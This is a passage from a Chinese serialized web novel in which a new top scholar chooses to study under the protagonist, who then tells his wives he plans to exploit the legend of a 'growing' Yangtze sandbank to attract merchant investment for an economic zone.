随即,在下方空白处,饱蘸浓墨,挥毫落下一个足以改变一个年轻人一生轨迹的名字: ?萧寒舟 笔落惊风,尘埃落定。 新科状元,诞生! “宣萧寒舟觐见!”慕容嫣放下朱笔,声音清越。 片刻后,一名身着崭新青色进士服的年轻人在内侍引领下,垂首步入大殿。 他身形挺拔如青松,步履沉稳,虽垂首以示恭敬,却无半分卑微怯懦之态。 行至御阶之下,撩袍跪倒,声音清朗而平静: “新科进士萧寒舟,叩见陛下!陛下万岁,万岁,万万岁!” “平身。”慕容嫣目光落在萧寒舟身上。 他抬起头,露出一张年轻而棱角分明的脸庞。 剑眉星目,鼻梁高挺,肤色是健康的麦色,眼神清澈明亮,如同山涧清泉,带着读书人特有的清正之气,却又隐隐透着一股不同于寻常书生的坚毅与沉稳。 这份气度,让慕容嫣心中暗暗点头。 第624章 息壤 “萧寒舟,”慕容嫣开口,声音带着帝王的温和与期许,“你的文章朕看过了。不错,立意高远,切中时弊,文采斐然,更难得是胸有丘壑,心系黎民。朕心甚慰。按大乾律法,新科状元当授翰林院修撰,入值中枢,参赞机要。但朕念你有开创换新的想法,所以想把你外放富庶之地,为一州通判,历练实务,你觉得如何?” 这是天大的恩典! 翰林清贵,乃储相之阶;外放通判,手握实权,亦是封疆之始。 无论哪条路,都是无数士子梦寐以求的青云大道! 然而,?萧寒舟却并未立刻叩谢天恩。 他再次躬身,声音依旧平静,却带着一种不容置疑的坚定: “陛下隆恩,?感激涕零!然微臣斗胆,恳请陛下收回成命!” 此言一出,侍立一旁的内侍总管和礼部尚书都微微色变! 拒绝圣恩?! 这新科状元……好大的胆子! 慕容嫣凤眸微眯,并未动怒,反而带着一丝探究:“哦?收回成命?为何,你是不愿意做官吗?” “非也!”?萧寒舟立刻摇头,声音铿锵有力,“寒窗十载,所求者,非高官厚禄,乃经世致用,匡扶社稷!然自知虽有薄才,纸上谈兵易,躬行实践难!朝堂机枢,地方政务,皆非仅凭几篇锦绣文章便可驾驭自如!” 他深吸一口气,眼中闪烁着炽热的光芒: “微臣听闻世子殿下,学究天人不拘一格!其麾下皇家书院,汇聚天下奇才,所授之学,非止经史子集,更有格物致知、农桑水利、商贾经济、天文地理等经世致用之学!?心向往之!恳请陛下恩准,允暂不入仕,追随世子殿下左右,潜心进修!待学有所成,胸有经纬,腹有良谋之时,再为陛下、为朝廷效力!此乃肺腑之言,望陛下明鉴!” 殿内一片寂静。 慕容嫣看着阶下这个目光灼灼、不卑不亢的年轻人,心中波澜起伏。 拒绝唾手可得的锦绣前程,甘愿放下状元光环,去追随林臻学习。 这份清醒的自知,这份不慕虚名的务实,这份锐意进取的求知欲,让她在惊讶之余,更生出一股强烈的欣赏与认同! 这不正是自己和夫君一直想要培养、想要改变的“新式人才”吗?! “好!”慕容嫣猛地一拍御案,脸上绽放出由衷的笑容,那笑容如同冲破云层的朝阳,明媚而充满力量,“好一个经世致用,潜心进修!” 她站起身,声音带着不容置疑的决断: “准奏!即日起,免去翰林院修撰之职!着礼部即刻敲锣打鼓,昭告天下,新科状元诞生!同时,备车马仪仗,将状元郎礼送至王府!交由世子林臻,悉心教导!” “谢陛下隆恩!陛下圣明!”?眼中爆发出巨大的惊喜和感激,深深叩首下去。 同一时间,王府,承运殿偏厅。 这里的气氛与紫宸殿的庄重截然不同,带着一种沉凝的探索气息。 巨大的紫檀木书案上,并未摆放公文奏折,而是铺开了一幅巨大的舆图。 这舆图绘制得颇为粗糙,笔法稚嫩,山川河流的走向、城池关隘的位置都显得模糊不清,比例也多有失调。 图上山峦只用简单的墨线勾勒出起伏轮廓,河流则如同随意泼洒的墨迹,蜿蜒扭曲。 城池的位置更是标注得似是而非。整幅图透着一股外行人勉强为之的笨拙感。 图的上方,用稍显工整的楷书写着两个大字:“扬州”。 林臻背对着门口,负手而立,目光如同鹰隼般,一寸寸地扫视着这幅堪称抽象的扬州地图。 他的眉头微蹙,似乎在努力从那混乱的线条中,辨识出真实的地理脉络。 书案下首,一张紫檀木圈椅中,坐着一个年约四旬、身着青色五品白鹇补服的官员。 他便是扬州刺史——孙文谦。 此刻的孙刺史,全然没有一方大员的从容气度。 他身体僵硬地坐在椅子边缘,只敢用半个屁股挨着椅面,脊背挺得笔直,如同拉满的弓弦。双手规规矩矩地放在膝盖上,掌心却早已被冷汗浸湿。 他额角渗出细密的汗珠,顺着鬓角滑落,也不敢抬手去擦。 眼神带着七分敬畏、三分惶恐,小心翼翼地觑着林臻挺拔而充满压迫感的背影,连大气都不敢喘一口。 “……世子。”孙文谦的声音带着明显的紧张和干涩,他清了清嗓子,努力让自己的汇报听起来清晰平稳,“下官可以拿项上人头担保!息壤的存在千真万确,绝非下官杜撰!它就在扬州府治下,长江入海口外!” 他见林臻没有反应,只是背影依旧沉凝,连忙加重语气,声音带着一种亲眼目睹神迹的激动和急于证明的迫切: “此事在扬州府乃妇孺皆知!绝非虚言!下官初闻此事时亦是难以置信!为求实证,下官不敢怠慢,亲自带着衙役等工匠携带丈量绳尺,于去年春、秋两季,两次登岛,仔细勘测!” 孙文谦的声音因激动而微微拔高: “结果令下官瞠目结舌!那沙洲,竟真的在生长!而且速度惊人!”他伸出两根手指,比划着,“前朝……呃……也就是楚霸天僭号称帝之时,据州府残存旧档记载,那沙洲露出水面的部分,不过区区十余丈方圆!荒芜不堪,几无人烟!” 他猛地将手指张开,声音带着震撼: “可如今下官派人丈量得清清楚楚,东西宽已逾三十丈,南北长更是接近五十丈,整整扩大了数倍有余啊殿下!此乃下官亲眼所见,亲自督办丈量,绝无半分虚假!!” 他生怕林臻不信,又补充道:“岛上如今已有渔民搭建窝棚,开垦滩涂,种植些耐盐的作物……他们几十年居住于此,皆言此岛乃神龟驮负、息壤滋生!是上天赐予扬州百姓的福地!” 林臻依旧背对着他,没有任何动作。 但孙文谦能感觉到,他那原本只是审视舆图的目光,似乎变得更加锐利和专注,仿佛要穿透那粗糙的图纸,看到那正在长江口不断淤积扩张的沙洲全貌。 第625章 准备动身 孙文谦的心提到了嗓子眼。 他之所以不远千里,亲自携带这幅蹩脚地图进京面见世子,禀报这看似荒诞的“神迹”,绝非仅仅是为了表功或讨好。 更深层的原因,是恐惧! 那息壤之说在扬州传得沸沸扬扬,甚至周边州府、邻国商旅都有所耳闻。 如此神物,若被有心人利用,或引来朝廷猜忌,说他孙文谦隐匿祥瑞、图谋不轨,那便是灭顶之灾! 他必须抢先一步,将此事捅到最高层,并且将处置权,连同这烫手山芋一并交给眼前这位权势滔天、心思难测的世子殿下! 唯有如此,他才能从这神迹带来的巨大漩涡中脱身,甚至……或许还能捞到一点功劳? 沉默。 令人窒息的沉默在偏厅中蔓延。 只有孙文谦自己粗重的呼吸声和窗外隐约传来的蝉鸣。 终于,林臻缓缓转过身。 阳光透过高窗,落在他棱角分明的侧脸上。 他脸上没有什么震惊或狂喜的表情,反而带着一种洞悉一切的平静,甚至嘴角还噙着一丝若有似无的、高深莫测的笑意。 “息壤?神龟驮负?呵……””林臻的声音低沉而平稳,听不出喜怒。 在这个时代,除了楚惜灵以外没有人比他更了解崇明岛是怎么回事。 他踱步走到书案旁,修长的手指随意地在那幅粗糙的扬州舆图上点了点,指尖正落在长江入海口那片代表“崇明岛”的、画得歪歪扭扭的墨点上。 “孙刺史,”他抬眼,目光如电,直射孙文谦,“你做得很好。此事确凿无疑。” 孙文谦闻言,如同听到天籁之音,紧绷的神经骤然一松,差点瘫软在椅子上! 他连忙挺直腰板,脸上露出如释重负的谄笑:“殿下明鉴!下官只是据实禀报!不敢居功!” “不过,我需要你立刻将此事,连同你两次丈量的详细数据、岛上渔民证词,整理成一份条理清晰的奏折呈报陛下。记住,要写得翔实、生动,将那神龟驮负、息壤滋生的传说渲染得越神奇越好!越玄乎越好!” “啊?”孙文谦脸上的笑容瞬间僵住,眼中充满了巨大的困惑和不解。 “殿下?下官斗胆,这是为何啊?”他下意识地脱口而出,“事关神物祥瑞,难道不应该秘而不宣,由朝廷……由殿下您暗中掌控吗?如此大肆宣扬,甚至还要渲染传说?这这岂不是要引来四方觊觎?万一被某些人知道,起了歹心……” “歹心?”林臻嘴角那抹笑意更深了,带着一种掌控全局的自信和一丝冷酷的算计,“他们要是不起歹心,不来觊觎,本世子还怎么‘骗钱’啊?” “骗……骗钱?!”孙文谦彻底懵了! 他怀疑自己耳朵出了问题!、 堂堂王府世子,坐拥金山银海,富可敌国,怎么会打这荒岛骗钱的主意? 这岛除了能长点芦苇,养点鱼虾,还有什么值钱的东西? 看着孙文谦那副目瞪口呆、仿佛被雷劈了的表情,林臻心情似乎更好了。 他不再解释,只是摆了摆手,语气恢复了平淡却不容置疑:“照做便是。其中缘由,你日后自会知晓。现在,立刻去草拟奏折!” “是!下官遵命!下官这就去办!” 孙文谦虽然满腹疑窦,但不敢再多问半句。 连忙起身,躬身行礼,几乎是连滚爬带地退出了偏厅,后背的官袍早已被冷汗湿透。 孙文谦刚退出去没多久,突然又转头回来了。 他是鼓起很大勇气才回来的,进门后问道:“世子,您是否要亲临扬州,去那沙岛上看看?” “没错。” “世子,下官斗胆提醒。那地方偏僻荒凉,湿气极重,蚊虫肆虐,比不得京城繁华舒适之万一,下官担心您千金之躯,受不得那等苦楚。若殿下欲知详情,孙大人定当竭尽全力,绘图呈报,不敢有丝毫遗漏。” “苦楚?”林臻终于转过身,脸上露出一抹玩味的笑容,眼神却锐利如刀。 “本王要去的地方,岂是区区苦楚二字能形容的?那里可是藏着真正的一座金山呢!” 他不再理会惊愕的孙文谦,提高声音,朝着门外朗声唤道: “橙萱!” 清脆的应答声几乎立刻响起:“在!” 一道明媚的橙色身影如同旋风般出现在门口。 她依旧是一身标志性的橙黄色劲装,衬得肌肤胜雪,活力四射。 乌黑的长发在头顶扎成两个俏皮的丸子髻,用同色的丝带系着,随着她的动作轻轻晃动。 她俏生生地立在门口,一双清澈的大眼睛看向林臻,带着询问。 林臻的目光在她青春洋溢的脸庞上停留一瞬,随即沉声下令,声音带着一种即将开启新征程的决断: “传本王令!即刻派人,将夫人们全部召回王府!本王有要事宣布!要快!” “是!”橙萱干脆利落地应道,没有丝毫拖泥带水。 她转身,如同轻盈的燕子般掠出门外,橙色的身影很快消失在回廊深处,只留下一阵淡淡的香风。 偏厅内,再次恢复了寂静。 林臻独自立于巨大的舆图前,目光重新落回那片标注着沙岛的、正在生长的土地上。 他的手指无意识地在那粗糙的墨点上轻轻敲击着,深邃的眼眸中,不再是面对孙文谦时的戏谑与掌控,而是闪烁着一种如同发现巨大宝藏般的、灼热而兴奋的光芒! 泥沙淤积?河口冲积岛? 古人愚昧?神龟驮负?息壤滋生? 呵…… 他们永远不会知道,这片看似荒芜、却在自然伟力下不断扩张的滩涂,其下蕴藏的不是什么神物,而是比黄金更珍贵、足以撬动整个帝国乃至周边诸国经济命脉的战略资源——深水良港的雏形! 以及未来连接江海、辐射内陆、掌控贸易航路的绝佳跳板! “崇明……”林臻低声念出这个名字,嘴角勾起一抹势在必得的弧度,“本世子来了。” 第626章 这饭吃的渗人 摄政王府,主宅,百福堂?。 夜幕低垂,王府各处早已点亮了琉璃宫灯,将雕梁画栋映照得流光溢彩。 主宅最大的宴厅百福堂内更是灯火通明,亮如白昼。 巨大的穹顶垂下数盏镶嵌着夜明珠和彩色琉璃的八角宫灯,柔和的光芒洒在光可鉴人的金砖地面上。 厅堂中央,一张直径丈余、由上等紫檀木精雕细琢而成的巨大圆桌,取代了平日分餐的小案。 桌面上铺着明黄色绣百子千孙图的锦缎桌围。 此刻,桌旁已围坐了一圈丽人,环肥燕瘦,各有千秋,正是林臻的诸位妻妾。 主位自然是林臻。 他换了一身舒适的月白色暗云纹锦袍,玉带松松系着,少了几分朝堂上的威仪,多了几分居家的慵懒随意。 紧挨着他左手边的,是王府主母上官婉儿。 她身着正红色金凤宫装,云鬓高挽,凤钗生辉,仪态端庄雍容,此刻她正优雅地用着膳,动作一丝不苟。 在她身后半步远的位置,如同融入阴影般,静静侍立着一位身姿挺拔的女子。 正是幽梦。 她穿着一身利落的深紫色窄袖劲装,勾勒出矫健的身形。 乌黑的短发一丝不苟,衬得她侧脸线条冷峻。 她双手自然垂于身侧,站姿如松,眼神锐利如鹰隼,不动声色地扫视着厅堂的每一个角落,时刻保持着最高警戒。 即使在这看似祥和的王府家宴上,她身上那股属于顶尖杀手的冰冷气息也未曾减弱分毫,与周围衣香鬓影、觥筹交错的氛围格格不入,却又如同最坚实的壁垒,将婉儿护在无形的安全圈内。 婉儿身侧,是商界巨擘张俪,她穿着绛紫色缂丝褙子。 再过去是娇俏可人的月妩,一身淡黄纱裙,眉眼弯弯,时不时的托着已经隆起的小腹,眼睛因美味而微微发亮。 月妩旁边是温婉如水的浣碧。 她依旧是一身素雅的月白襦裙,安静地坐着,如同空谷幽兰,脸上带着恬淡的笑意。 挨着浣碧的,是明艳照人的晴雯。她穿着桃红撒金百蝶襦裙,此刻却显得有些心不在焉,正用银箸百无聊赖地拨弄着碟中的水晶肴肉,红唇微嘟,透着一股娇蛮的烦躁。 林臻的右手边,首位是英姿飒爽的青霞。 她一身墨绿劲装,即使在宴席上也坐得笔直,眼神锐利如鹰,保持着武者特有的警觉,只是看向林臻时,那冷冽的眸光会不自觉地柔和几分。 青霞身侧是顾缜。 她穿着一身极其素净、洗得有些发白的浅蓝色细布襦裙,发髻上只簪了一支样式最简单的素银簪子,再无半点珠翠。 她一直低着头,小口小口地吃着碗里的白米饭,几乎不去夹桌上的珍馐美味,仿佛那些与她无关。 她的存在感低得如同角落里的一抹尘埃,沉默得近乎隐形。 只有当林臻说话时,她才会极其快速地、怯生生地抬起眼帘,飞快地瞥一眼主位上那个光芒万丈的男人,那眼神里充满了深深的敬畏和一丝难以言喻的、如同仰望星辰般的卑微依恋,随即又像受惊的小鹿般迅速低下头,长长的睫毛掩盖住所有情绪,仿佛生怕被人发现她这微不足道的注视。 接着是气质娴雅的司马椿蕾。 坐在最末位,离林臻稍远的,是清丽脱俗的楚惜灵。 她一身藕荷色素纱罗裙,脂粉未施,长发松松挽着,只用一根玉簪固定。 她很少参与这样的家宴,此刻安静地坐着,目光大部分时间都落在林臻身上,带着沉静而悠长的思念,偶尔与林臻目光相接,相视一笑,一切尽在不言中。 每位夫人身后,都侍立着她们最贴身的丫鬟,穿着统一的浅碧色比甲,屏息凝神,动作轻巧而熟练地为各自的主子布菜、斟酒、递上热巾。 偌大的厅堂内,除了碗碟轻碰的细微声响和丫鬟们轻盈的脚步声,竟无一人说话。 王府规矩森严,尤其在这等正式家宴上,婉儿硬是将“食不言,寝不语”贯彻落实的很死。 菜肴流水般呈上,皆是珍馐美味,色香味俱全。 然而,除了月妩偶尔因吃到美味而眼睛微亮,晴雯因无聊而小动作不断,其余众人似乎都有些心不在焉。 空气中弥漫着一种微妙的、心照不宣的等待气氛。 所有人都知道,林臻突然召集所有夫人齐聚一堂,绝不仅仅是为了吃一顿饭。 终于,婉儿率先放下了手中的象牙镶金箸。 她动作优雅地用雪白的丝帕轻轻按了按唇角,随即,身后的芸香立刻奉上盛着温水的金盆和雪白的毛巾。 婉儿净了手,又接过芸香递上的青花盖碗,用清茶漱了口,再接过另一盏温度适宜的香茗,小口啜饮着,姿态从容不迫,无可挑剔。 如同无声的命令,随着婉儿的动作,席间其余夫人也纷纷放下碗筷。 丫鬟们立刻上前,伺候各自的主子净手、漱口、奉茶。 一时间,杯盏轻碰,水声微响,却依旧无人言语。 就在这静谧得有些压抑的时刻,晴雯终于按捺不住。 她借着身后丫鬟为她擦拭嘴角的动作,飞快地侧过头,用极低的声音,带着一丝不安和好奇,对坐在她旁边的张俪咬耳朵: “俪姐姐,我怎么感觉今天这顿饭,吃得这么瘆得慌呢?好像有什么大事要发生?” 张俪正端起茶盏,闻言,端着茶盏的手几不可察地顿了一下。 她并未转头看晴雯,只是用眼角的余光淡淡扫了她一眼,随即轻轻摇了摇头,同时将一根纤细白皙的手指竖在唇边,做了个极其清晰又无声的噤声手势。 眼神平静无波,却带着不容置疑的警告。 晴雯被张俪那平静却极具压迫感的目光看得心头一凛,立刻缩了缩脖子,悻悻地闭上了嘴,只是那双灵动的眼睛里,不安和好奇更浓了。 “咳。” 一声轻咳打破了这刻意维持的寂静。 众人循声望去,只见婉儿已放下了茶盏,目光温婉地投向主位上的林臻,声音如同清泉流淌,打破了最后的沉默: “夫君,”她唇角带着柔和的笑意,眼神却带着询问,“今日难得将姐妹们齐聚一堂,想必是有什么事情要吩咐吧?” 第627章 不得无礼 她问得含蓄,却道出了所有人的心声。 瞬间,所有目光都聚焦在林臻身上。 好奇、期待、关切、担忧……种种情绪交织在那一张张或明艳、或清冷、或娇憨、或沉静的脸庞上。 林臻环视一圈,看着眼前这些或明艳动人、或清冷孤高、或娇憨可爱、或温婉沉静的妻妾们,脸上露出一抹温和的笑意,带着一丝感慨: “呵……说来也怪,”他端起面前的青玉酒杯,轻轻晃动着里面琥珀色的酒液,“我怎么感觉这是我们第一次,这么齐全地、安安静静地坐在一起吃顿饭?” 他目光扫过空着的一个位置,“就是缺了颜颜那妮子。” 婉儿接口道,笑容温婉:“可不是嘛。颜颜妹妹性子野,喜欢在外头带兵打仗,算算日子,北燕的差事也该收尾了,想必快回来了。” “嗯,”林臻点点头,将杯中酒一饮而尽,放下酒杯,脸上的笑意收敛,神情变得郑重起来,“颜颜不在也无妨。今日把夫人们都叫来,确实有件事情要告诉你们。” 他顿了顿,目光扫过众人,“为夫有要事,需要出趟远门,估计短则一年,长则三五年也未可知,所以今天把夫人都叫来吃顿团圆饭。” “出远门?!” “三五年?!” 林臻话音未落,席间已响起几声压抑不住的惊呼! 尤其是晴雯,猛地瞪大了眼睛,手中的丝帕都掉在了地上! “夫君!您要去哪?!”晴雯再也顾不得规矩,急声问道,声音带着明显的慌乱和不舍。 “扬州,沪县。”林臻言简意赅。 “沪县?!”晴雯对这个地名显然极其陌生,小脸瞬间垮了下来,声音都带了哭腔。 “那……那是什么穷乡僻壤的破地方?妾身连听都没听过!夫君,您去那种地方做什么?还要去那么久,京城不好吗?王府不好吗?您放着好好的清福不享,非要去那种地方吃苦受罪吗?!” 她越说越激动,眼圈都红了,猛地抓住旁边浣碧的手腕,用力摇晃着,“浣碧!浣碧!你倒是说句话呀!夫君都要走了,去那么远那么久!” 浣碧被她摇得身子微晃,却依旧保持着温婉的笑容。 她轻轻拍了拍晴雯的手背,安抚着她激动的情绪,然后抬起头,看向林臻,声音轻柔却无比坚定:“夫君去哪我就去哪。” “你!”晴雯被浣碧这毫不犹豫的回答噎了一下,随即赌气似的甩开浣碧的手,对着林臻大声道:“那……那妾身也要去!浣碧去哪,妾身就去哪!夫君去哪,妾身也去哪!休想撇下我!” 林臻看着晴雯那副又急又气、眼圈泛红的娇蛮模样,又好气又好笑,无奈地摇摇头:“雯儿,你瞧你,急什么?为夫今天找夫人们来,就是想问问,看看有没有谁愿意跟为夫一起去沪县的。” 他话锋一转,语气带着一丝严肃,“不过事先说好。沪县不比京城,更比不上王府的舒适繁华。那里地处江海之滨,湿气重,蚊虫多,条件艰苦。去了可不许叫苦叫累!” “不叫就不叫,以后您让我叫,我都不叫!哪怕是在床上!”晴雯立刻挺起足有浣碧两个大的胸脯,信誓旦旦地保证。 “噗——!”正在喝茶的月妩没忍住,一口茶差点喷出来,连忙捂住嘴,小脸憋得通红。 婉儿、张俪等人也是表情各异,或忍俊不禁,或无奈摇头。 青霞和顾缜则微微蹙眉,显然觉得晴雯这话太过露骨。 林臻也被她这虎狼之词弄得老脸一热,尴尬地咳嗽一声:“咳咳……雯儿!你这说的是什么话!” 他真是拿这个口无遮拦的小辣椒没办法。 晴雯却理直气壮,小嘴撅得老高:“妾身说的都是实话!那个什么破沪县,妾身连听都没听过,肯定又是什么鸟不拉屎的荒芜之地!夫君放着京城里的金山银山、娇妻美妾不要,非要去那种地方啃草,妾身心里难受,不乐意!” 她说着说着,眼圈真的红了,晶莹的泪珠在眼眶里打转,带着浓浓的委屈和不舍。 “晴雯妹妹!”婉儿终于忍不住开口,黛眉微蹙,语气带着主母的威严和一丝责备,“不得无礼!夫君行事,自有夫君的道理!我们身为内眷,当以夫君意愿为重,尽心辅佐,岂能因一己私心,对夫君的宏图大计妄加置喙、胡搅蛮缠?” 她的话掷地有声,瞬间压下了晴雯的委屈。 晴雯被婉儿训斥,扁了扁嘴,虽然还是不服气,却也不敢再大声嚷嚷,只是低着头,绞着手中的丝帕,眼泪在眼眶里打转。 一直安静坐在末位的楚惜灵,此刻却突然抬起眼眸,那双清澈如秋水的眸子里闪过一丝灵动的光芒。 她看向晴雯,声音轻柔如风,带着一种奇特的安抚力量: “晴雯妹妹若真舍不得夫君,想一同前往,姐姐倒是有个法子,或许能让妹妹在沪县的日子过得舒坦些。” 晴雯闻言,猛地抬起头看向楚惜灵。 她对这位常年待在皇家书院、几乎不踏足王府、却又被夫君记挂在心的“才女”姐姐,一直有种莫名的疏离感和隐隐的不服气。 此刻听她这么说,晴雯眼中闪过一丝怀疑,撇了撇嘴,语气带着明显的不信和一丝不易察觉的敌意: “哼!花言巧语!你在京城里教你的书,能有什么法子?难不成还能把京城的宅子搬到那穷乡僻壤去?” “雯儿!不得对惜灵无礼!”林臻沉声喝止了晴雯的顶撞。 楚惜灵被晴雯抢白,脸上并无愠色,依旧带着恬淡的微笑,刚要开口解释,却被林臻打断。 “好了好了,”林臻摆摆手,看向晴雯,“雯儿,你若真心想去,为夫自然带你。至于生活条件……” 他顿了顿,目光扫过众人,“为夫会尽力安排,不会让你们受太多委屈。” 林臻深知晴雯的性子,她并非真的害怕吃苦,更多的是不舍得离开他,也舍不得京城的繁华热闹。 给她一个台阶下,她自然会就坡下驴。 第628章 第二个经济特区 果然,晴雯虽然还是撅着嘴,但听到林臻说带她去,又承诺尽量改善条件,心里的委屈和不甘便消了大半。 她偷偷瞄了楚惜灵一眼,又看看林臻,最终不情不愿地点了点头,小声咕哝道:“那……那好吧……妾身跟着夫君就是了。” 林臻心中暗笑,面上却不动声色,再次看向众人:“还有谁愿意和为夫同去沪县?” 婉儿率先开口,声音温婉而坚定:“夫君此行,想必事务繁巨。府中不可无人主事,妾身身为王府主母,自当留守京城,替夫君打理好内宅,安定后方,让夫君无后顾之忧。更何况妾身这身子骨,也经不起长途跋涉的折腾。” 她顿了顿,脸上飞起两朵淡淡的红云,声音低了几分,带着一丝羞意。 她抬起头,目光盈盈地看着林臻,带着感激和依赖,“不过夫君放心,有夫君日日喂药,妾身的身子,已是大好了呢。” 说到“喂药”二字时,她声音细若蚊蚋,螓首微垂,藏在袖中的小手无意识地攥紧了粉拳,那副含羞带怯的模样,哪里还有半分主母的威严,分明是个沉浸在爱河中的小女人。 林臻看着她这副娇羞模样,心中了然,也涌起一股暖意。 “婉儿留下也好。府里交给你,我放心。” 紧接着,张俪也放下了茶盏。 她看向林臻,那双精明锐利的凤眸中闪烁着洞悉的光芒,唇角勾起一抹了然的笑意,声音平静却语出惊人: “夫君此行沪县,可是为了那块传说中的息壤?” “息壤?!” “什么息壤?!” “真有息壤这种东西?!” “那不是神仙才有的宝贝吗?!” 张俪的话如同一块巨石投入平静的湖面! 瞬间在席间掀起了轩然大波! 除了林臻和似乎早有所料的楚惜灵,其余众女,包括刚刚还在委屈的晴雯、温婉的浣碧、警觉的青霞、沉静的顾缜、娴雅的司马椿蕾,全都震惊地瞪大了眼睛,难以置信地看向张俪,又齐刷刷地将目光转向林臻! 连她们身后侍立的丫鬟们,也都忍不住露出了惊骇的神色! 传说中的神物息壤。 能自行生长、永不耗减的土壤?! 那不是只存在于上古神话中的东西吗?! 难道真的存在于世? 而夫君竟然是为了它,才要去那偏僻的沪县? 巨大的震惊和疑问,瞬间取代了离别的愁绪,充斥了整个百福堂! 所有人的目光都聚焦在林臻身上,等待着他的答案。 连一向沉稳的青霞,眼中都露出了前所未有的凝重和探究之色。 百福堂内,死寂一片。 所有人的目光都聚焦在林臻身上,震惊、疑惑、难以置信的情绪在空气中无声地涌动。 连侍立在婉儿身后的幽梦,那冷冽的眸子里也掠过一丝极淡的讶异。 林臻看着一张张写满惊疑的俏脸,忽然“噗嗤”一声笑了出来。 那笑声打破了凝重的气氛,带着一种洞悉世情的戏谑和掌控全局的从容。 “好了好了,”他摆摆手,脸上带着轻松的笑意,“瞧把你们吓的。什么息壤?那都是糊弄人的玩意儿!” 他站起身,踱步到那幅巨大的扬州舆图前,虽然粗糙,但崇明的位置已被重点圈出。 他指着那个墨点说道:“孙文谦那老小子没见过世面,把自然现象当成了神迹。那所谓的息壤,不过就是长江入海口泥沙长年累月冲刷、淤积形成的一片沙洲罢了!根本不是什么神龟驮负,更不是能自行生长的神土!” 他转过身,背靠着舆图,双臂环胸,目光灼灼地看着众人,嘴角勾起一抹带着痞气又充满野心的弧度: “但是!其他人不知道啊,天下人也不知道啊!他们只信息壤是神物,是祥瑞!是能带来无穷财富和福泽的宝贝!” 他声音陡然拔高,带着一种不容置疑的决断: “所以!本世子打算就在沪县,就在这息壤所在之地,再建一个经济特区!” “经济特区?”众女对这个新名词感到陌生,但联系林臻在武清的成功,隐隐猜到其含义。 “对!经济特区!”林臻眼中闪烁着精光,“就像武清一样!但要更大!更开放!吸引全天下,乃至周边各国的商人、货物、钱财,都汇聚于此!让这里成为新的财富中心!贸易枢纽!” 他话锋一转,语气带着一丝无奈和狡黠:“不过,想建特区,光靠咱们王府这点家底儿,那是杯水车薪,远远不够!所以……” 他脸上那抹痞笑更盛,带着赤裸裸的算计:“咱们得骗!得让那些被息壤传说迷了心窍、以为能沾上神物光发财的商人们,心甘情愿地把他们的金山银山都掏出来,投进这沪县特区!” 他目光骤然变得锐利无比,如同实质般扫过每一位妻妾的脸庞,声音低沉而充满威慑:“此事事关重大,关乎我大乾未来数十年的国运,更是本世子手中至关重要的一步棋!所以今日所言,出我之口,入你们之耳,若有半分泄露……” 他眼神陡然转冷,如同寒冰,“家法无情!绝不姑息!” 最后四个字,如同重锤敲在每个人心上! 厅内瞬间弥漫开一股肃杀之气! 连侍立的丫鬟们都下意识地屏住了呼吸。 众女心头凛然! 她们深知林臻口中的“家法”绝非儿戏,更明白此事的分量! 夫君能将如此机密和盘托出,是对她们绝对的信任! 这份信任,重逾千斤! “妾身明白!” “谨遵夫君之命!” “绝不泄露半字!” 婉儿、张俪、浣碧、青霞、司马椿蕾等人纷纷郑重应诺,神色肃穆。 晴雯也收起了娇蛮,用力点头。 就在这时,一直安静聆听的楚惜灵,唇角忽然弯起一抹清浅而自信的笑意。 她放下茶盏,声音如同清泉击石,打破了短暂的肃杀:“夫君所言极是。若妾身没猜错,夫君所指的沙洲,应是长江口外,名为崇明的冲积岛吧?” 林臻眼中闪过一丝惊讶和赞许:“哦?灵儿竟也知道此地?” 第629章 神来之笔 楚惜灵微微颔首,眼神清亮,带着学者的睿智:“妾身在皇家书院整理前朝地理图志及水文卷宗时,曾见过相关记载。此岛确由长江泥沙冲积而成,其形态、位置、乃至生长之势,皆与夫君描述吻合。因其地处江海交汇,泥沙淤积,加之潮汐、洋流作用,岛域逐年向东南扩张,在不明就里之人眼中,确如息壤神迹。” 她不能把入梦的事情说出去,所以只能编造个看过卷宗的理由。 她顿了顿,看向林臻,目光中带着一丝钦佩和跃跃欲试:“夫君以此神迹为饵,设局引资,筹建特区,实乃神来之笔!高明至极!” 她由衷赞叹,“妾身不才,于水文地理、古籍考据略知一二,对崇明岛周边水文、航道、乃至前朝在此地的零星开发记载,皆有所涉猎。若夫君不弃,妾身愿随行沪县,或可为夫君这盘大棋,略尽绵薄之力。” “哈哈哈!好,好一个神来之笔!”林臻闻言,朗声大笑,眼中充满了毫不掩饰的欣赏和喜悦,“我就知道,有灵儿在,本世子高枕无忧!不过,你的学生怎么办?” 楚惜灵无奈的摇摇头:“今年就招了四十个学生,带上就是啦。” “哼!”一旁的晴雯听到林臻如此盛赞楚惜灵,还说什么“高枕无忧”,心里顿时像打翻了醋坛子,酸溜溜的。 她忍不住撇了撇嘴,小声嘀咕了一句:“有什么了不起的,不就是多看了几本破书嘛……” 声音虽小,但在寂静的厅堂里,还是清晰可闻。 楚惜灵只是淡淡一笑,并未理会晴雯的醋意。 此时,一直沉吟不语的张俪也开口了。 她放下茶盏,目光灼灼地看向林臻,声音沉稳有力,带着商界女王不容置疑的气场: “夫君,若论骗……哦不,若论与天下商贾打交道,引他们心甘情愿掏钱投资,让他们相信这息壤之地能长出金山银山,妾身以为,此事舍我其谁?” 她唇角勾起一抹自信而略带锋芒的笑意:“妾身执掌王府内外诸多产业,与南北巨贾、番邦海商打了这么久交道,深知他们想要什么,怕什么,信什么。由妾身出面,与那些逐利而来的商人周旋、谈判、订立契约、分配利益再合适不过。沪县特区这盘大棋,商道纵横,诡谲莫测,夫君身边,需要一个真正懂行、能镇得住场子的人。” 她的话掷地有声,充满了强大的自信和说服力。 她并非争宠,而是陈述一个无可辩驳的事实。 在商业领域,她张俪是林臻手中最锋利、最可靠的一把刀! 厅内再次陷入短暂的沉默。 众女心思各异。 婉儿留守京城,主持大局。 楚惜灵精通地理水文,是技术顾问。 张俪擅长商业运作,是谈判专家。 浣碧温婉体贴,是生活总管。 晴雯娇蛮任性,但林臻答应带她,她也表态要去。 月妩和宁妃顾缜两人下意识地、几乎同时,将手轻轻覆在了自己已经隆起的小腹上。 月妩眼中闪过一丝母性的温柔和遗憾,顾缜则更是把头埋得更低,她身子弱,又刚有身孕,长途跋涉去那湿瘴之地,是万万不能的。 青霞眼中闪过一丝寒芒。 去沪县? 不,她还有更重要的事情要做。 那就是寻找煊赫门与哈德门,为险些失去孩子的事情报仇! 这是她刻骨的执念。 司马椿蕾是后宫之主,虽然后宫人不多,但肯定不能远行的。 林臻将众人的反应尽收眼底,心中已有决断。 